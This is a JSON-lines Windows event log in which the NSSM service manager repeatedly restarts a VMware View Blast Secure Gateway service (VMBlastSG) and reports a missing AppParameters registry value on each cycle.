{"@timestamp":1646703823091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158717}}
{"@timestamp":1646703823091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158718}}
{"@timestamp":1646703823092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158719}}
{"@timestamp":1646703951596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158720}}
{"@timestamp":1646703951596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158721}}
{"@timestamp":1646703951598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156500","0"]}}},"module":"Application","provider":"nssm","sequence":158722}}
{"@timestamp":1646703951598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156500","156500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158723}}
{"@timestamp":1646703951614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158724}}
{"@timestamp":1646703951614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158725}}
{"@timestamp":1646703951615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158726}}
{"@timestamp":1646703951616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158727}}
{"@timestamp":1646704080163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158728}}
{"@timestamp":1646704080164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158729}}
{"@timestamp":1646704080165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154516","0"]}}},"module":"Application","provider":"nssm","sequence":158730}}
{"@timestamp":1646704080166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154516","154516","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158731}}
{"@timestamp":1646704080183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158732}}
{"@timestamp":1646704080183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158733}}
{"@timestamp":1646704080184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158734}}
{"@timestamp":1646704080185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158735}}
{"@timestamp":1646704208685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158736}}
{"@timestamp":1646704208686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158737}}
{"@timestamp":1646704208687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156288","0"]}}},"module":"Application","provider":"nssm","sequence":158738}}
{"@timestamp":1646704208688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156288","156288","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158739}}
{"@timestamp":1646704208705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158740}}
{"@timestamp":1646704208705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158741}}
{"@timestamp":1646704208706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158742}}
{"@timestamp":1646704208707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158743}}
{"@timestamp":1646704337328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158744}}
{"@timestamp":1646704337330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158745}}
{"@timestamp":1646704337331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156540","0"]}}},"module":"Application","provider":"nssm","sequence":158746}}
{"@timestamp":1646704337331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156540","156540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158747}}
{"@timestamp":1646704337348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158748}}
{"@timestamp":1646704337349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158749}}
{"@timestamp":1646704337349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158750}}
{"@timestamp":1646704337350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158751}}
{"@timestamp":1646704465946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158752}}
{"@timestamp":1646704465948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158753}}
{"@timestamp":1646704465949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154840","0"]}}},"module":"Application","provider":"nssm","sequence":158754}}
{"@timestamp":1646704465949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154840","154840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158755}}
{"@timestamp":1646704465966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158756}}
{"@timestamp":1646704465967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158757}}
{"@timestamp":1646704465967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158758}}
{"@timestamp":1646704465968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158759}}
{"@timestamp":1646704594451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158760}}
{"@timestamp":1646704594453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158761}}
{"@timestamp":1646704594453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155744","0"]}}},"module":"Application","provider":"nssm","sequence":158762}}
{"@timestamp":1646704594454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155744","155744","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158763}}
{"@timestamp":1646704594471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158764}}
{"@timestamp":1646704594471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158765}}
{"@timestamp":1646704594472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158766}}
{"@timestamp":1646704594473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158767}}
{"@timestamp":1646704722970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158768}}
{"@timestamp":1646704722971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158769}}
{"@timestamp":1646704722972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156476","0"]}}},"module":"Application","provider":"nssm","sequence":158770}}
{"@timestamp":1646704722972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156476","156476","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158771}}
{"@timestamp":1646704722989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158772}}
{"@timestamp":1646704722990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158773}}
{"@timestamp":1646704722991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158774}}
{"@timestamp":1646704722992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158775}}
{"@timestamp":1646704851602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158776}}
{"@timestamp":1646704851604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158777}}
{"@timestamp":1646704851605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156128","0"]}}},"module":"Application","provider":"nssm","sequence":158778}}
{"@timestamp":1646704851605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156128","156128","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158779}}
{"@timestamp":1646704851623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158780}}
{"@timestamp":1646704851623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158781}}
{"@timestamp":1646704851624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158782}}
{"@timestamp":1646704851625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158783}}
{"@timestamp":1646704980156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158784}}
{"@timestamp":1646704980157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158785}}
{"@timestamp":1646704980157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146528","0"]}}},"module":"Application","provider":"nssm","sequence":158786}}
{"@timestamp":1646704980158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146528","146528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158787}}
{"@timestamp":1646704980174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153940","0"]}}},"module":"Application","provider":"nssm","sequence":158788}}
{"@timestamp":1646704980175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153940","146528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158789}}
{"@timestamp":1646704980191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158790}}
{"@timestamp":1646704980192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158791}}
{"@timestamp":1646704980193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158792}}
{"@timestamp":1646704980195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158793}}
{"@timestamp":1646705108678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158794}}
{"@timestamp":1646705108680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158795}}
{"@timestamp":1646705108681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155992","0"]}}},"module":"Application","provider":"nssm","sequence":158796}}
{"@timestamp":1646705108681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155992","155992","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158797}}
{"@timestamp":1646705108697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158798}}
{"@timestamp":1646705108697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158799}}
{"@timestamp":1646705108698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158800}}
{"@timestamp":1646705108699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158801}}
{"@timestamp":1646705237231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158802}}
{"@timestamp":1646705237233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158803}}
{"@timestamp":1646705237233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156096","0"]}}},"module":"Application","provider":"nssm","sequence":158804}}
{"@timestamp":1646705237234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156096","156096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158805}}
{"@timestamp":1646705237251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158806}}
{"@timestamp":1646705237251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158807}}
{"@timestamp":1646705237252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158808}}
{"@timestamp":1646705237253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158809}}
{"@timestamp":1646705365853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158810}}
{"@timestamp":1646705365853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158811}}
{"@timestamp":1646705365854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155976","0"]}}},"module":"Application","provider":"nssm","sequence":158812}}
{"@timestamp":1646705365854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155976","155976","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158813}}
{"@timestamp":1646705365870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155688","0"]}}},"module":"Application","provider":"nssm","sequence":158814}}
{"@timestamp":1646705365871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155688","155976","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158815}}
{"@timestamp":1646705365887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158816}}
{"@timestamp":1646705365887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158817}}
{"@timestamp":1646705365888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158818}}
{"@timestamp":1646705365888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158819}}
{"@timestamp":1646705494371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158820}}
{"@timestamp":1646705494373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158821}}
{"@timestamp":1646705494374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","134084","0"]}}},"module":"Application","provider":"nssm","sequence":158822}}
